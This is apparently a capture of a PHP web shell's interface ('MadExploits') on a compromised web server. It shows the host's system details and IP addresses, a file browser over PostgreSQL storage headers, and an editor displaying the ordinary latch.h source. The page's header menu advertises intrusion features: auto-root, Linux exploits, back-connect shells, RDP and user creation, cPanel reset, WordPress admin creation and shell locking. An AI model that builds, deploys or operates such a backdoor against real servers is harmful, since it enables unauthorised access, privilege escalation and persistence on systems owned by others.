Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
pgsql /
server /
storage /
[ HOME SHELL ]
Name
Size
Permission
Action
backendid.h
730
B
-rw-r--r--
barrier.h
6.6
KB
-rw-r--r--
block.h
3.21
KB
-rw-r--r--
buf.h
1.06
KB
-rw-r--r--
buf_internals.h
7.79
KB
-rw-r--r--
buffile.h
1.67
KB
-rw-r--r--
bufmgr.h
7.2
KB
-rw-r--r--
bufpage.h
12.91
KB
-rw-r--r--
copydir.h
561
B
-rw-r--r--
fd.h
3.56
KB
-rw-r--r--
freespace.h
1.23
KB
-rw-r--r--
fsm_internals.h
2.24
KB
-rw-r--r--
indexfsm.h
795
B
-rw-r--r--
ipc.h
2.54
KB
-rw-r--r--
item.h
469
B
-rw-r--r--
itemid.h
4.24
KB
-rw-r--r--
itemptr.h
3.72
KB
-rw-r--r--
large_object.h
2.89
KB
-rw-r--r--
latch.h
5.28
KB
-rw-r--r--
lmgr.h
3.22
KB
-rw-r--r--
lock.h
21.16
KB
-rw-r--r--
lwlock.h
3.58
KB
-rw-r--r--
off.h
1.58
KB
-rw-r--r--
pg_sema.h
2.41
KB
-rw-r--r--
pg_shmem.h
1.95
KB
-rw-r--r--
pmsignal.h
2.03
KB
-rw-r--r--
pos.h
1.56
KB
-rw-r--r--
predicate.h
2.56
KB
-rw-r--r--
predicate_internals.h
16.98
KB
-rw-r--r--
proc.h
9.58
KB
-rw-r--r--
procarray.h
2.96
KB
-rw-r--r--
procsignal.h
1.76
KB
-rw-r--r--
reinit.h
588
B
-rw-r--r--
relfilenode.h
4.31
KB
-rw-r--r--
s_lock.h
28
KB
-rw-r--r--
shmem.h
2.63
KB
-rw-r--r--
sinval.h
4.97
KB
-rw-r--r--
sinvaladt.h
1.49
KB
-rw-r--r--
smgr.h
5.67
KB
-rw-r--r--
spin.h
2.71
KB
-rw-r--r--
standby.h
3.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : latch.h
/*------------------------------------------------------------------------- * * latch.h * Routines for interprocess latches * * A latch is a boolean variable, with operations that let processes sleep * until it is set. A latch can be set from another process, or a signal * handler within the same process. * * The latch interface is a reliable replacement for the common pattern of * using pg_usleep() or select() to wait until a signal arrives, where the * signal handler sets a flag variable. Because on some platforms an * incoming signal doesn't interrupt sleep, and even on platforms where it * does there is a race condition if the signal arrives just before * entering the sleep, the common pattern must periodically wake up and * poll the flag variable. The pselect() system call was invented to solve * this problem, but it is not portable enough. Latches are designed to * overcome these limitations, allowing you to sleep without polling and * ensuring quick response to signals from other processes. * * There are two kinds of latches: local and shared. A local latch is * initialized by InitLatch, and can only be set from the same process. * A local latch can be used to wait for a signal to arrive, by calling * SetLatch in the signal handler. A shared latch resides in shared memory, * and must be initialized at postmaster startup by InitSharedLatch. Before * a shared latch can be waited on, it must be associated with a process * with OwnLatch. Only the process owning the latch can wait on it, but any * process can set it. * * There are three basic operations on a latch: * * SetLatch - Sets the latch * ResetLatch - Clears the latch, allowing it to be set again * WaitLatch - Waits for the latch to become set * * WaitLatch includes a provision for timeouts (which should be avoided * when possible, as they incur extra overhead) and a provision for * postmaster child processes to wake up immediately on postmaster death. * See unix_latch.c for detailed specifications for the exported functions. * * The correct pattern to wait for event(s) is: * * for (;;) * { * ResetLatch(); * if (work to do) * Do Stuff(); * WaitLatch(); * } * * It's important to reset the latch *before* checking if there's work to * do. Otherwise, if someone sets the latch between the check and the * ResetLatch call, you will miss it and Wait will incorrectly block. * * To wake up the waiter, you must first set a global flag or something * else that the wait loop tests in the "if (work to do)" part, and call * SetLatch *after* that. SetLatch is designed to return quickly if the * latch is already set. * * Presently, when using a shared latch for interprocess signalling, the * flag variable(s) set by senders and inspected by the wait loop must * be protected by spinlocks or LWLocks, else it is possible to miss events * on machines with weak memory ordering (such as PPC). This restriction * will be lifted in future by inserting suitable memory barriers into * SetLatch and ResetLatch. * * On some platforms, signals will not interrupt the latch wait primitive * by themselves. Therefore, it is critical that any signal handler that * is meant to terminate a WaitLatch wait calls SetLatch. * * Note that use of the process latch (PGPROC.procLatch) is generally better * than an ad-hoc shared latch for signaling auxiliary processes. This is * because generic signal handlers will call SetLatch on the process latch * only, so using any latch other than the process latch effectively precludes * use of any generic handler. * * * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/storage/latch.h * *------------------------------------------------------------------------- */ #ifndef LATCH_H #define LATCH_H #include <signal.h> /* * Latch structure should be treated as opaque and only accessed through * the public functions. It is defined here to allow embedding Latches as * part of bigger structs. */ typedef struct { sig_atomic_t is_set; bool is_shared; int owner_pid; #ifdef WIN32 HANDLE event; #endif } Latch; /* Bitmasks for events that may wake-up WaitLatch() clients */ #define WL_LATCH_SET (1 << 0) #define WL_SOCKET_READABLE (1 << 1) #define WL_SOCKET_WRITEABLE (1 << 2) #define WL_TIMEOUT (1 << 3) #define WL_POSTMASTER_DEATH (1 << 4) /* * prototypes for functions in latch.c */ extern void InitializeLatchSupport(void); extern void InitLatch(volatile Latch *latch); extern void InitSharedLatch(volatile Latch *latch); extern void OwnLatch(volatile Latch *latch); extern void DisownLatch(volatile Latch *latch); extern int WaitLatch(volatile Latch *latch, int wakeEvents, long timeout); extern int WaitLatchOrSocket(volatile Latch *latch, int wakeEvents, pgsocket sock, long timeout); extern void SetLatch(volatile Latch *latch); extern void ResetLatch(volatile Latch *latch); /* beware of memory ordering issues if you use this macro! */ #define TestLatch(latch) (((volatile Latch *) (latch))->is_set) /* * Unix implementation uses SIGUSR1 for inter-process signaling. * Win32 doesn't need this. */ #ifndef WIN32 extern void latch_sigusr1_handler(void); #else #define latch_sigusr1_handler() ((void) 0) #endif #endif /* LATCH_H */
Close